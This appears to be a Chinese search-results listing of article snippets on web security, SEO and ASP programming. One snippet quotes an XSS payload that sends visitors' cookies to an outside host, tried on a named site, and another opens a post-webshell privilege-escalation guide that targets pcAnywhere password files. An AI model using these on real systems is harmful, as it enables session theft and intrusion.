搜索列表
-
黑客秘籍：Windows下权限设置
【安全相关】 随着动网论坛的广泛应用和动网上传漏洞的被发现以及SQL注入式攻击越来越多的被使用，WEBSHELL让防火墙形同虚设，一台即使打了所有微软补丁、只让80端口对外开放的WEB服务器也逃不过被黑的命运。难道我们真的无能为力了吗？其实，只要你弄明白了NTFS系统下的权限设置问题，我们可以对cra...
|黑客|客秘|秘籍|籍W|Wi|in|nd|do|ow|ws|s下|下权|权限|限设|设置|置| -
全力打造个人网络安全之XP篇
【安全相关】 对于网民来说，各种潜在的威胁可能会随时到来。在这些威胁中，往往是“明枪好躲、暗箭难防”，网络病毒，黑客工具大家比较重视，损失相对少一些，但对于利用特殊手段窥探个人隐私的人，却有所忽视。明明已经造成隐私外泄，却毫不知情。所以采取什么样的措施才能确保个人网络安全，必然成为网络用户们最为关...
|全力|力打|打造|造个|个人|人网|网络|络安|安全|全之|之X|XP|P篇|篇| -
关于动网的cookie泻露站点绝路径的问题
【安全相关】一、跨站测试 先看看我的一次跨站测试吧 我以职业欠钱的站点做测试吧: Host:zhiyeqianqian.51web.cn My Test: 先在他的论谈上传两张图， 图一的内容是: <script>document.location='http://linzi.cnbct.org/cookie.asp?msg='+document.cookie</script> 得到url为UploadFile/2005-6/200562716565...
关于动网的cookie泻露站点绝路径的问题 -
经典黑客远程攻击过程概要
【安全相关】 一、锁定目标 INTERNET上每一台主机都有一个符合自己的名字，就像每个人都有一个合适得称呼一样，称做域名；然而一个人可能会有几个名字，域名的定义也会有同样的情况，在INTERNET上能真正标识主机的是IP地址，域名只是用IP指定的主机用于好记的而起的名字。当然利用域名和IP地址都可以顺...
|经典|典黑|黑客|客远|远程|程攻|攻击|击过|过程|程概|概要|要| -
HTML中的数据绑定
【CSS/HTML】信息来源：Wayne_Deng的专栏 有没想过在java script中使用recordset？原来在客户端操作数据也可以这样简单，定义一个数据源，将数据绑定在各种tag上，实现应用程序般的效果，酷毙了！（首先申明一点，文章的内容全部来自msdn，不过用我自己的话总结而已。） 先看看这样两个例子： http://msdn.microsoft.com/works...
HTML中的数据绑定 -
网站优化方法（精选）及SEO实例参考
【网站运营】首先说明一下,SEO 真的可以提高在 GOOGLE 的搜索排名,方法也很多样化,我将对比较有用且容易见效的方法做一下介绍, 从以下几个方面一步一步说: 1. 标题 策略 2. 关键词 策略 3. 链接策略 4. 注册策略 或者称BLOG策略&...
网站优化方法（精选）及SEO实例参考 -
不用模板只用ASP+FSO生成静态HTML页的一个方法
【ASP编程】不用模板，只用ASP+FSO生成静态HTML页的一个方法（对于内容密集型页面特别适用） 转载请注明：转自http://goaler.xicp.net FSO生成静态HTML文件的时候替换模板标签一直是一个很麻烦的问题，至少我是这么认为的，还要别外做一个模板，麻烦！，我今天看见有一个方法可以解决这个问题 如一个正常的index.a...
不用模板只用ASP+FSO生成静态HTML页的一个方法 -
无组件实现文件上传/下载
【ASP编程】' 用ASP实现无组件上传/下载文件 ' ' 功能简介 ' 将上传的文件数据保存到数据库中,可以处理表单中的多个上传文件的情况 ' 适用于各种数据库,使用ADO的方法连接数据库 ' 本示例中使用的是ACCESS数据库:zj.mdb ' 表:tb_img(...
无组件实现文件上传/下载 -
提升(web)权限终极9技巧
【安全相关】当我们取得一个webshell时候，下一部要做的就是提升权限 个人总结如下： 1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，得到pcAnywhere密码，登陆 2....
提升(web)权限终极9技巧 -
Web代理(Asp版)
【ASP编程】asp写Web代理软件，可以用作突破网关限制等，主要是为了配合Ajax使用的(因Firefox存在跨域访问的问题) 版本 0.1 作者 LlinZzi 功能 判断网站编码，支持任何语言 超连接自动转换 附带一个远程下载图片的函数 未解决问题，目前只能用来代理网站代码，图片等其他数据的代理转发尚未完成。复制代码 代码如下:<...
Web代理(Asp版) -
如何在不支持数据库的asp主页上运用ado
【ASP编程】许多人都可能又自己的asp个人主页，但有数据库权限的不会很多，今天我给一个方法。大家可以自己建立一个库。不用access或sql server的格式。是自己建一个格式。（听起来很高深奥！以前开发一个数据库，都是些很厉害的系统分析员奥！今天我们来变通一下！） 就是这个了控件。 tdc：tabular data ...
如何在不支持数据库的asp主页上运用ado -
小偷，采集程序常用函数
【ASP编程】<script language="javascript" runat="server"> //连接数据库 function connOpen(DataBaseConnectStr){ var conn = Server.CreateObject("ADODB.Connection"); conn.Open(DataBaseConnectStr); return conn;...
小偷，采集程序常用函数
